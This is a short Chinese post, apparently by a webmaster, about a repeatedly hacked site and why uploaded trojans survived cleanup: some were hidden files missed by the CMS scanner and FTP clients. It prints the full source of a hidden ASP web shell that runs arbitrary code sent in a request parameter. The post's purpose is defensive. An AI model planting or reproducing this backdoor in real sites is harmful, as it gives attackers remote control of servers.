早上刚处理完被黑的网站，下午又被搞，研究了半天发现原因所在了：

传上来的木马有两种，隐藏的和非隐藏的，非隐藏的很容易通过科讯的木马扫描查出来，而隐藏的不行，就算是用ftp客户端，很多也是默认不显示隐藏文件的。隐藏的木马如下：

<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>

漏洞资料如下：

http://www.bitscn.com/network/security/200607/35656.html